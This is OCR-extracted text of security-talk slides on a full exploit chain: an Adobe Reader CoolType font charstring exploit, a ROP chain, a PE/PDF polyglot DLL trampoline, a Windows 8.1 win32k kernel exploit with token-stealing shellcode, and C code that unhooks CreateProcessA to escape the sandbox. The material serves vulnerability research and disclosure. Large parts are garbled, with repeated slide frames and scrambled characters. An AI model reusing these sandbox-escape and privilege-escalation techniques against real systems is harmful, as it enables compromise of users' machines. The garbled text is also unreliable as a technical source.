#Al 1l AOOR OOAAE £O A




Writing datartosstack example

Interpreter stack frame Operand stack Instruction stream

31337 31337

1 dup
0 0

put
A 1

put

-100

blend

Transient array sqrt
0x00082359 31337 :gﬁ
0x55667788 31337 sqrt
0x99aabbcc ? sqrt
. f oA Lo . get

#Al 1l AOOR OOAAE £O A




Writing datartosstack example

Interpreter stack frame Operand stack Instruction stream

31337 31337

1 dup
0 0

put
A 1

put

-100

blend

Transient array sqrt
0x0002da4d 31337 :gﬁ
0x55667788 31337 sqrt
0x99aabbcc ? sqrt
. f oA Lo . get

#Al 1l AOOR OOAAE £O A




Writing datartosstack example

Interpreter stack frame Operand stack Instruction stream

31337 31337

1 dup
0 0

put
A 1

put

-100

blend

Transient array sqrt
0x0001b063 31337 :gﬁ
0x55667788 31337 sqrt
0x99aabbcc ? sqrt
. f oA Lo . get

#Al 1l AOOR OOAAE £O A




Writing datartosstack example

Interpreter stack frame Operand stack Instruction stream
31337 31337
1 dup
0 0
put
A 1
put
-100
blend
Transient array sqrt
sgrt
0x00014ch4 31337 sqrt
0x55667788 31337 sqrt
0x99aabbcc ? sqrt
. f oA Lo . get
#Al 1l AOOR OOAAE £O A




Writing datartosstack example

Interpreter stack frame Operand stack Instruction stream
31337 31337
1 dup
0 0
put
A 1
put
-100
blend
Transient array sqrt
sgrt
0x00014cb4 31337 sqrt
0X55667788 =l 31337 sqrt
0x99aabbcc ? sqrt
P < foa e ko . get
#Al 1l AOOR OOAAE £O A




Writing datartosstack example

Interpreter stack frame Operand stack Instruction stream
31337 31337
1 dup
0 0
put
A 1
put
-100
blend
Transient array sqrt
31337 31337 :g::
0x55667788 31337 sqrt
0x99aabbcc ? sqrt
P < foa e ko . get
#Al 1l AOOR OOAAE £O A




Reading data from the stack

A To read existing data from the stack, we can use a similar trick with musiprhks
Instructions, followed by @uT

A The value will be loaded to the transient array at index 0 or 1.

A If we preinitializetransientnarrayr2y[02.1] = [0; O] and then sum both entries, the result will be the
desired DWORD.
A To operate on the data (e.g. calculate the base address of an image based on its pointer),
we should go back to the operand stack and do all the calculations there.

A TheSETCURRENTPROINStruction resetp_sp back to&op_stki[0] | with no side effects.



Operating-onidata from stackexample

Interpreter stack frame Operand stack Instruction stream

-

N

)

dup

? 0

put

A 1

put

-101

blend

Transient array sgrt

put

0x945430bb

N

setcurrentpoint

0x88242el14

N

0

0x12345678

)

get

1

#Al 1l AOOR OOAAE £&O A get

add

0x330bb

sub




Operating-onidata from stackexample

Interpreter stack frame Operand stack Instruction stream

o

- 0
‘ ? dup

? 0

put

A 1

put

-101

blend

Transient array sgrt

put

0x945430bb

N

setcurrentpoint

0x88242el14

N

0

0x12345678

)

get

1

#Al 1l AOOR OOAAE £&O A get

add

0x330bb

sub




Operating-onidata from stackexample

Interpreter stack frame Operand stack Instruction stream

o

0

N | O

> dup
0

put

A 1

put

-101

blend

Transient array sgrt

put

0x945430bb

N

setcurrentpoint

0x88242el14

N

0

0x12345678

)

get

1

#Al 1l AOOR OOAAE £&O A get

add

0x330bb

sub




Operating-onidata from stackexample

Interpreter stack frame Operand stack Instruction stream
0 0
0 dup
- 0 > y
put
' A 1
put
-101
blend
Transient array sqrt
put
DX0454 5000 ? setcurrentpoint
0x88242e14 2 0
0x12345678 2 get
o f oA Lo . 1
#Al 1 AOOR OOAAE £&O A get
add
0x330bb
sub




Operating-onidata from stackexample

Interpreter stack frame Operand stack Instruction stream
> 0 0
0 dup
0 0
put
A 1
put
-101
blend
Transient array sqrt
put
DX0454 5000 0 setcurrentpoint
0x88242e14 2 0
0x12345678 2 get
o f oA Lo . 1
#Al 1 AOOR OOAAE £&O A get
add
0x330bb
sub




Operating-onidata from stackexample

Interpreter stack frame Operand stack Instruction stream
0 0
1 dup
0 0
put
A 1
put
-101
blend
Transient array sqrt
put
DX0454 5000 0 setcurrentpoint
0x88242e14 2 0
0x12345678 ? get
o f oA Lo . 1
#Al 1 AOOR OOAAE £&O A get
add
0x330bb

sub




Operating-onidata from stackexample

Interpreter stack frame Operand stack Instruction stream
0 0
1 dup
0 0
put
A 1
> Pt
-101
blend
Transient array sqrt
put
DX0454 5000 0 setcurrentpoint
0x88242e14 0 0
0x12345678 2 get
o f oA Lo . 1
#Al 1 AOOR OOAAE £&O A get
add
0x330bb
sub




Operating-onidata from stackexample

Interpreter stack frame Operand stack Instruction stream
-101 0
1 dup
0 0
put
A 1
put
> 102
blend
Transient array sqrt
put
DX0454 5000 0 setcurrentpoint
0x88242e14 0 0
0x12345678 2 get
o f oA Lo . 1
#Al 1 AOOR OOAAE £&O A get
add
0x330bb
sub




Operating-onidata from stackexample

Interpreter stack frame Operand stack Instruction stream

-101 0

1 dup
0 0

put
A 1

put

-101

‘ blend

Transient array sqrt

put

DX0454 5000 0 setcurrentpoint

‘ 0x88242e14 0 0
0x12345678 ? get
o f oA Lo . 1
#Al 1 AOOR OOAAE £&O A get

add

0x330bb

sub




Operating-onidata from stackexample

Interpreter stack frame Operand stack Instruction stream

-101 0

1 dup
0 0
put
A 1
put

-101

blend

Transient array ‘ sqrt
put
0x945430bb 0 setcurrentpoint
‘ 0x00016248 0 0
0x12345678 ? get
;- ~ N ~ , A~ ’ N I hY 1
#Al 1 AOOR OOAAE £&O A get
add
0x330bb

sub




Operating-onidata from stackexample

Interpreter stack frame Operand stack Instruction stream

-101 0

1 dup
0 0

put
A 1

put

-101

blend

Transient array ‘ sqrt
put
0x945430bb 0 setcurrentpoint
‘ 0x00016248 > 0 0
0x12345678 ? get
;- ~ N ~ , A~ ’ N I hY 1
#Al 1 AOOR OOAAE £&O A get
add
0x330bb

sub




Operating-onidata from stackexample

Interpreter stack frame Operand stack Instruction stream

-101 0

1 dup
0 0

put
A 1

put

-101

blend

Transient array sqrt

put

0x945430bb 0 setcurrentpoint

‘ 0x00016248 0x945430bb 0
0x12345678 ? get
o f oA Lo . 1
#Al 1 AOOR OOAAE £&O A get

add

0x330bb

sub




Operating-onidata from stackexample

Interpreter stack frame Operand stack Instruction stream

-101 0

1 dup
0 0]

put
A 1

put

-101

blend

Transient array sqrt

put

0x945430bb 0 setcurrentpoint

0x00016248 0x945430bb 0
0x12345678 ? get
o f oA Lo . 1
#Al 1 AOOR OOAAE £&O A get

add

0x330bb
sub




Operating-onidata from stackexample

Interpreter stack frame Operand stack Instruction stream

— : .

1 dup
0 0

put
A 1

put

-101

blend

Transient array sqrt

put

0x945430bb 0 setcurrentpoint
0x00016248 0x945430bb 0
0x12345678 ? get
o S = = P ~ Ve N . h 1
#Al 1 AOOR OOAAE £&O A get
add
0x330bb
sub




Operating-onidata from stackexample

Interpreter stack frame Operand stack Instruction stream
0 0
‘ | 1 dup
0 0
put
A 1
put
-101
blend
Transient array sqrt
put
0x945430bb 0 setcurrentpoint
0x00016248 0x945430bb 0
0x12345678 ? ‘ get
e f oA Lo . 1
#Al 1l AOOR OOAAE £O A get
add
0x330bb
sub




Operating-onidata from stackexample

Interpreter stack frame Operand stack Instruction stream

0 0

— L o
0 0

put
A 1

put

-101

blend

Transient array sqrt

put

0x945430bb 0 setcurrentpoint
0x00016248 0x945430bb 0
0x12345678 ? get
o S = = P ~ Ve N . h 1
# Al T AOOR OOAAE &0 A ‘ =
add
0x330bb

sub




Operating-onidata from stackexample

Interpreter stack frame Operand stack Instruction stream

0 0

‘ 0x945430bb dup
0 0

put
A 1

put

-101

blend

Transient array sqrt

put

0x945430bb 0 setcurrentpoint
0x00016248 0x945430bb 0
0x12345678 ? get
o S = = P ~ ’ N . h 1
#Al 1 AOOR OOAAE £&O A get
> g
0x330bb

sub




Operating-onidata from stackexample

Interpreter stack frame Operand stack Instruction stream
d 0x945430bb 0
0x945430bb dup
0 0
put
A 1
put
-101
blend
Transient array sqrt
put
0x945430bb 0 setcurrentpoint
0x00016248 0x945430bb 0
0x12345678 ? get
o f oA b . 1
#Al 1l AOOR OOAAE £&£O A get
> a0
0x330bb
sub




Operating-onidata from stackexample

Interpreter stack frame Operand stack Instruction stream

0x945430bb 0

- 0x000330bb dup
0 0

put
A 1

put

-101

blend

Transient array sqrt

put

0x945430bb 0 setcurrentpoint

0x00016248 0x945430bb 0
0x12345678 ? get
o S = = P ~ ’ N . ~ 1
#Al 1 AOOR OOAAE £&O A get
add

sub




Operating-onidata from stackexample

Interpreter stack frame Operand stack Instruction stream

d 0x94510000 0

o 0x000330bb dup
0 0

put
A 1

put

-101

blend

Transient array sqrt

put

0x945430bb 0 setcurrentpoint
0x00016248 0x945430bb 0
0x12345678 ? get
o S = = P ~ ’ N . h 1
#Al 1 AOOR OOAAE £&O A get
add
0x330bb
sub




Operating-onidata from stackexample

Interpreter stack frame Operand stack Instruction stream

0x94510000 0

dup
0 0

put
A 1

put

-101

blend

Transient array sqrt

put

0x945430bb 0 setcurrentpoint
0x00016248 0x945430bb 0
0x12345678 ? get
o S = = P ~ ’ N . h 1
#Al 1 AOOR OOAAE £&O A get
add
0x330bb
sub




The ROPIchain

AWe now have all the primitives necessary to reliably create a ROP chain to

achieve arbitrary code execution in the sandboxed process.

Alt would be easiest and most elegant to perform a single

LoadLibrary (exploit PDFpath) call.

AThePDF I 3A O R2Say Qi KFI@S (02 ILIWISEFEN G GKS 0

A We could create a PE+PDF binary polyglot and have the rest of the exploit written in C/C++.

A AngeAlbertinihas done it in hi€orkaMIXproof of concept in 2012

(https:// code.google.com/p/corkami/wiki/mix



https://code.google.com/p/corkami/wiki/mix
https://code.google.com/p/corkami/wiki/mix

Loadl tbrariself) problems

AUnfortunately, the input file path is nowhere to be found on the
SELX 2A0SR G4KNBFIRQa aidl o1 o

AAlso, Adobe Reader recently began rejecting PDF files starting with
0KS aa¥%é arayl (dz2NB o



The ROPIchain

AWe have to settle on a less elegant solution.

A VirtualProtect e c t (&stackkPAGEE EXECUTE rREADWRITE)

and a %' stage payload on the stack will do.

ALY GKS TANERG/ PRI YieddsIi®8 QNS ||dz

Internal  GetProcAddress ()

"VirtualProtectEx \0"

&VirtualProtectEx

0

0

&payload

GetCurrentProcess ()

&payload

0x1000

PAGE_EXECUTE_READWRIT

Implementation ofGetProcAddress:()), which resolves

a function fromkernel32.dll  and jumps to it immediately.

&lpflOldProtect

A

"VirtualProtectEx \0"

A

IpflOldProtect

A

CoolType.dll base address

1st stage payload

E



File Edit View Debug Window Help

Offset: | @%scopeip

byte ptr [eax],al

byte ptr [eax],al

byte ptr [eax],al

byte ptr [eax],al

byte ptr [eax],al

byte ptr [eax],al
aafc ah, bh
d3gceafsd3ioces dword ptr [espteax+49CD3FEh],cl
apae byte ptr [eax],al B
aaae byte ptr [eax],al
fa @
d39ce460081166 dword ptr CoolType (66118888)[espteax],cl 779ach7e

ficez24
[eax],al
[eax],al 1
[Eﬂx],ﬂl 66158289
[eax],al i f3dzec
[eax],al
[espteax],al b
[eax],al 282
[eax],al ficesd
[eax],al
[eax],al
[eax],al
[eax],al

Ln0, Col0 Sys(:<lLocal> Proc000:1234 Thrd 000:934 ASM  OVRE | CAPS  MNUM




Firststage payload

ANot convinced to writing aecondstagefont-relatedwin32k.sys exploit

In assembly.
ALGQR 060S 0Sal 02 KI O %oadlibran® v (afteRdl.f SR
ATo our advantage:

A The renderer process has an actitaNDLEb the exploit PDF file with read access.

A While filesystem access is largely limited (especradite capabilities), the renderer

has write access to a temporary directory?abPPDATAAgobe\ Acrabatt\ 11.00.



Firststage payloada DLL trampoline

ACompile the 29 stage DLWith the exploit PDFile specified in Visual
{ { dzRSw@Rdiiker option.

AEmbeds the indicated file as the NS stub at the file beginning.

A The file must be a valid MSOS file itself (contain seemingly vaNMIAGE DDOS FHEADER

to be allowed by the linker.

AResults in a valid PE/PDF polyglot.

AWS LI I OS (KS aa¥%é YIFIIAAO o0eidsSa oA



Firststage payloada DLL trampoline

Aln the assembly payload:

A lterate over all possiblelANDLEalues, i.erange(0; 0x100054) 4),

A Call thekernel32!GetFinalPathNameByHandle()« ( ) function over each to obtain the
corresponding file path.

AtKS 2yS SYRAY3I 6A0GK adLIRTE Aa 2dzNJ SELIX
%APPDATASGobe Acrobati\ 11.00.

A2 NAGS o601 GKS 2NAIAYIE oa¥%é &aAr3ayl idzNB

A Invoke LoadLibrary() () over the new file, having our C++ DIIMain()  function

Invoked.



™ poc.pdf - Adobe Reader - H
File Edit Wiew Window Help x

open | [1]71 ] [ex]]] [ Tools = Fill &Sign = Cc

1l

i Hello, World! [N_n

o Hello, World!
| OK

#include <Windows.h>

extern "C"

BOOL WINAPI DllMain(
HINSTANCE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved

=) A
I MessageBoxA(NULL, "Hello, World!"™, "Hello, World!"™, MB_ICONINFORMATION);
return TRUE;

W oo <l &wn Bw N

1
1
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1 |}



Second stage-paylogaadhe DILL

MAyYyOS GKSNBQa 2yfé || Eyc o0dzAf R
2d stage DLL.

Acan exploit both x86 and x84 kernels by recognizing the underlying system

architecture(lsWow64PRrocess())) and driving exploitation accordingly.
Ain both cases, a new window must be created v@iteateWindow()).

Athe difference is in it§Vindow Procedur@VNDCLASSEXW:lpfnWndRoc



Second stage-paylogdendering:the font

A Loading and rendering a font in Windows is a matter of calling a few API functions:

A CreateWindow() ¢ create the window to draw on.

A AddFontResource() ¢ load the font in the system.

A BeginPaint() ¢ prepare window for painting.

A CreateFont() ¢ create a logical font with specific characteristics.

A SelectObject() ¢ select the font for usage with the device context.

A TextOut() ¢ display specified text on the window with previously defined style.
A DeleteObject() ¢ destroy the font.

A EndPaint() ¢ mark the end of painting in the window.

A All of the above calls work fine with the Adobe Reader sandbox, except...



Second stagpayloadc loadinga font

Int  AddFontResource (
In LPCTSTRpszFilename

);
ALoads fonts from the specified path in the system.

Awin32k.sys refuses to load any fonts visddFontResource() under

the Adobe Reader sandbox.

AWhat now?



Second stage-paylogdoading-a font

AThere isAddFontMemResoureeEX(), which installs fonts directly from
memory.

A However, it provides no meamd loading fonts consisting of two or more files

(Type 1)X expects a continuous data region which is loaded aseso NI & 2 dzND S
A People on the Internet have had the same problem, with no solution found.

A Reverseengineeringwin32k.sys confirmsthis.

ANo other official/documented functions that we could use wiype 1

fonts.



Second stage-paylogdoading-a font

If we take a look in IDAh&re I1s one more syscall referencing the font
loading codeNtGdiAddRemoteFontToDC

BINGO!



Loading fonts villtGdiAddRemoteFontToDC

AAbsolutely no public information regarding the system call, officially

or unofficially.

ALF ¢S D223fS F2NJ a! RRC2yiwSY2(S
RSEAONALIIAZY 2F aAONRaz2fdQa. LI 4GS



Loading fonts villtGdiAddRemoteFontToDC

In the disclosed embodiment, the whole font is loaded onto the system using the
private interface function calleddRemoteFontToDThis private function takes

as input arguments the buffer which contains the image of the font to be added

to the Device Context, the size of the buffer, and the handle of the Device Context
(hdo). This function is very similar to the public Application Programming Interface
(API) functiorAddFontResourcd his private function is called by the spooler
process to load the font image from the spool file to the printer Device Context (DC).

System and method for remote printing using incremental furthsetting
Bodin Dresevic, Xudong Wu, Gerrit Bruce van Wingerden



Loading fonts villtGdiAddRemoteFontToDC

AC2NIdzyl 0Sftez AGQa yz2ilcrlWAa F2 Wik oF HidSF A
KSFRSNJ aLISOATeéAY3 (GKS YSY2NE LI NIAGA:

AThe reverse engineered structure is as follows:

typedef struct tagTYPE1FONTHEADER
ULONdsTypelFont ;
ULON@NumberOfFiles ;
ULON@Offsets | 2] ;
BYTE Datal 1];
} TYPE1IFONTHEADERPTYPE1FONTHEADER



Loading fonts villtGdiAddRemoteFontToDC

TYPE1FONTHEADERYypelFont = 1;
TYPE1FONTHEADBERmMberOfFiles = O;
TYPE1IFONTHEADERsets [ 0] = (PfmFileSize + 3) & ~4;
TYPE1IFONTHEADERsets [ 1] = (( PfmFileSize + 3) & ~4) + (( PfbFileSize + 3) & ~4);
TYPE1FONTHEADBRta = {. PFM file data aligned to 4 bytes ,
. PFB file data aligned to 4 bytes }

After properly initializing the structurejn32k.sysuccessfully loads the
Type 1 font consisting of two files from memory inside of the Adobe

Reader sandbox.



Second stage-paylogdoading-a font

A Assuming that the exploit is supposed to be fully contained within a single

PDF,OF /OO/’

we have to embed the Windows kernel x86 and-$d6font exploits in the file, as well.
AOAUOKSNI KIS (KS F2yida AyOfdzZRSR Fa t9 NbBa

end of the original file.



Proofof(Concept.exploit filerstructure

MZ
%PDF

1st stage Adobe Reader exploit

PE

2nd stage userland exploit DLL

padding
PFM Windows Kernel x86 exploit
PFB| Windows Kernel x86 exploit

padding
PFM Windows Kernel x86 - 64 exploit
PFB| Windows Kernel x86 - 64 exploit
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kernel exploit!



Windows:81 Update 1:x86
exploit



Kernel-exploitation plan

AElevation of privileges in the Windows kernel is fairly easy.
Atraverse a linked list of processes and replace the security token of one with
FYy20KSNQa P
A can be easily implemented inshort snippet of x86 assembly.
AcKS wht Qa 321t ¢g2dAd R 6S G2Y

A allocate writable/executable memory and copy the EoP shellcode there.
A jump to the shellcode to have it do its job.

A cleanly recover from the payload in order to keep the operating system stable.



Kernel-exploitation plan

AThe Charstring exploitation process is exactly the same as with Adobe Reader
(CoolType).
A addressef ATMEDLDL|win32k.sys s and ntoskrnl.exe x ¢ all presenton the stack.

A we can use ROP gadgets from all of them.

A Starting with Windows 8, most kernel memory is allocated from
(Non)PagedPoolNx;, nonexecutable pool memory (under protection of DEP).

A means that we cannot easily reuse an existing allocation.

A ExAllocateRooelWith TagiNonPagedPoof), 1 ) still allocatesnormal, executable non
pageable memory that we can use to stanmed executeghe shellcode.



nt!ExAllocatePool
XCHG EAX, EDX
0x0 (NonPagedPool)
0x1000

XCHG EAX, EDX
XCHG EAX, EDI
POP ESI

&payload
POP ECX
0x40

REP MOVSD

Windows:811 Update 1:x86 ) ROP

allocate 4096 r/w/e bytes

copy 256 bytes of payload
to new allocation




2
File Edit Yiew Debug Window Help

D REEECOREEOBE| [

Offsety @S=copeip

89227fe5 [eax],al
89227fe? [eax],al
89227fe9 [eax],al
89227feb [eax],al
89227fed [eax],al
89227fef [eax],al
B9227ff1 [eax],al
892273 [eax],al i 83228108
B9227+F5 [eax],al i a2h233b8
89227Ff7 [eax],al 89278000
892279 [ebx],cl

89227ffb

89227Ffc [eax],al @
89227ffe [eax],al 1
89228000 c¢ ceccecee
83228001 ' i 89228000
89228002 i 3
89228003

89228004 [eax],al 202
89228006 [eax],al 22b232b8
89228008 [eax],al

89228003 [eax],al

8922808c [eax],al

89228060e [eax],al

89228018 [eax],al

89228012 [eax],al

89228814 [eax],al

89228016 [eax],al

Ln0, Col0  Sys:Kd5ne:5 Proc000:0 Thrd 000:0 ASM  OVRE  CAPS MNUM



Windows:811 Update 1:x86 EoP Ishellcode

rd
s

1. CAYR (KS a{ @a3aulSY ékPadRIREbDeth Zéirentihieads peStalbIpracysde- 4 (i
and traversingePROCESS ActiveProcessLinks:Flink nk, until aEPROCESS:UniquePRrocesslid
value of 4 is found.

2. Save the security token pointer froBPROCESSTaken

3. Traverse the process linked list again, in seardP&HOCESS:imageFileNamequalto
a! ONRWRoOH®PSESE¢®
A ReplaceEPROCESSTokewith the saved, privileged security token.

A SetEPROCESSJohiActiveProcessLimiti + to 2, in order to spawn a newalc.exgrocess later on.

4. Jump to address 0xO0.



o o \\

aWdzY Ldirdi-2:0 RRNBaa nEn:

AAt the end of the shellcode, we have to cleanly recover from the somewhat

Inconsistent state.

AWe could try to fix up the stack frame, or return to a cal&ames higher.

AATMFD.DLIaggressive exception handling fhe rescue!
AEveryinvalidusey 2 RS YSY2NE | O0OSaa Aa araftsSydate
exception handler.
ALGQAa adzZFFAOASYUOG (2 3ISYSNIUS |yeé adzOK S
cleanly finishing up the font loading and returning back to userland as if nothing

happened.



| GPUGraph | Threads | TCPfIP | Security | Environment | Job | Strings
Image | Performance I Performance Graph I Disk and Metwork

Imaage File

Adobe Reader
Adobe Systems Incorporated
Version: 11.0.10.32
Build Time: Wed Dec 03 05:54:17 2014
Path:

| Ci'\Program Files\Adobe'\Reader 11.0'Reader\AcroRd32.exe | |E1q::lnre|
Command line:

| "C:\Program Files\Adobe'\Reader 11.0'Reader\AcroRd32.exe” —d'1anne|
Current directory:

| C:\Userstest\Desktop) |
Autostart Location:

LE

| Explore

¥ Process Explorer - Sysinternals: www.sysinternals.com [win.. = B

File Options View Process Find Users Help Parent:  AcroRd32.exe(2088) -
‘d| = 5@E|K|ﬁ@|z User:  NT AUTHORITY\SYSTEM _
Process PID  User Name Started:  02:08:38 2015-06-17
= [ winlogon.exe 636 NT AUTHORITY\SYSTEM  System Comment: | | | Kill Process
[m dwm exe 860 Window Manager\DWM-1  System '
VirusTotal: | | | Submit |

= B8 AcoRd32 exe 2088 NT AUTHORITY\SYSTEM  System _ _
Data Execution Pr tion (DEP) Status: DEP {perm,
AcroRd32 exe 4936 NT AUTHORITY\SYSTEM  System @ on Prevention (DEF) Status anent)
Qmm 3724 win8-32hp'test High . Address Space Load Randomization: Enabled, Force Relocate

CPU Usage: 52.16% Commit Charge: 26.21% Processes: 52 Physical Usage: 28.78%




Final-steps) popping up calc.exe

AEven with the modifiedctive process limiCreateProcess()( ) still

falled to create a new process.

ATurns out the sandboxed process WERNELBASE!CreateProcessA
K221SRZ YFI1{AYy3 AG aAYLIaaArof Sé
the broker.

AWe can just restore the function prologt bypass this.



Restoring CreateProcessA

HMODU hKernelBase = GetModuleHandleA("KERNELBASE.DLI);
FARPRC IpCreateProcessA = GetProcAddress (hKernelBase , "CreateProcessA ");

I/ Make the  kernelbase!CreateProcessA memory area temporarily writable.

DWOF flOldProtect
VirtualProtect  (IpCreateProcessA ,5, PAGE_READWR, & flOldProtect );

/[ Write the original function prologue (MOV EDI, EDI; MOV EBP, ESP; PUSH ESP).
RtICopyMemory( IpCreateProcessA , "\ x8b\ xff \ x55\ x8b\ xec", 5);

I/l Restore the original memory access mask.
VirtualProtect  (IpCreateProcessA ,5, flOldProtect , & flOldProtect );






